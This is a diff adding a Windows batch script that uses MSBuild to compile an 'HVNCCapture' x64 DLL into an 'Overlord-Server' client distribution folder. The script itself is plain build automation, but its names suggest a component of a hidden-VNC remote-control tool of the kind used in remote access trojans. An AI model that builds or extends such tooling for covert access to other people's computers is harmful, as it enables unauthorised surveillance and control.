GPU HVNC capturing

build-hvnc-capture-dll.bat

@@ -0,0 +1,53 @@
+@echo off
+setlocal EnableDelayedExpansion
+REM Build HVNCCapture DLL for Windows x64 using MSBuild (vcxproj).
+REM Run from VS Developer Command Prompt, or let the script detect VS.
+
+set ROOT=%~dp0
+set PROJ=%ROOT%HVNCCapture\HVNCCapture.vcxproj
+set OUT_DIR=%ROOT%Overlord-Server\dist-clients
+set CONFIG=Release
+set PLATFORM=x64
+
+REM Locate MSBuild via vswhere if not already on PATH
+where msbuild.exe >nul 2>&1
+if %ERRORLEVEL% neq 0 (
+    echo msbuild.exe not found, searching for Visual Studio ...
+    set "FOUND_VS="
+    for /f "usebackq tokens=*" %%i in (`"%ProgramFiles(x86)%\Microsoft Visual Studio\Installer\vswhere.exe" -latest -products * -requires Microsoft.Component.MSBuild -find MSBuild\**\Bin\MSBuild.exe 2^>nul`) do (
+        set "MSBUILD_PATH=%%i"
+        set "FOUND_VS=1"
+    )
+    if not defined FOUND_VS (
+        echo ERROR: Visual Studio with MSBuild not found.
+        exit /b 1
+    )
+    echo Found MSBuild at: !MSBUILD_PATH!
+)
+
+if not exist "%OUT_DIR%" mkdir "%OUT_DIR%"
+
+echo Building HVNCCapture.vcxproj [%CONFIG%^|%PLATFORM%] ...
+if defined MSBUILD_PATH (
+    "!MSBUILD_PATH!" "%PROJ%" /p:Configuration=%CONFIG% /p:Platform=%PLATFORM% /p:OutDir="%OUT_DIR%\\" /m /nologo /v:minimal
+) else (
+    msbuild.exe "%PROJ%" /p:Configuration=%CONFIG% /p:Platform=%PLATFORM% /p:OutDir="%OUT_DIR%\\" /m /nologo /v:minimal
+)
+if %ERRORLEVEL% neq 0 goto :error
+
+if not exist "%OUT_DIR%\HVNCCapture.x64.dll" (
+    echo ERROR: DLL not found in output directory.
+    goto :error
+)
+
+echo.
+echo Built: %OUT_DIR%\HVNCCapture.x64.dll
+dir "%OUT_DIR%\HVNCCapture.x64.dll"
+
+echo Done.
+exit /b 0
+
+:error
+echo.
+echo BUILD FAILED
+exit /b 1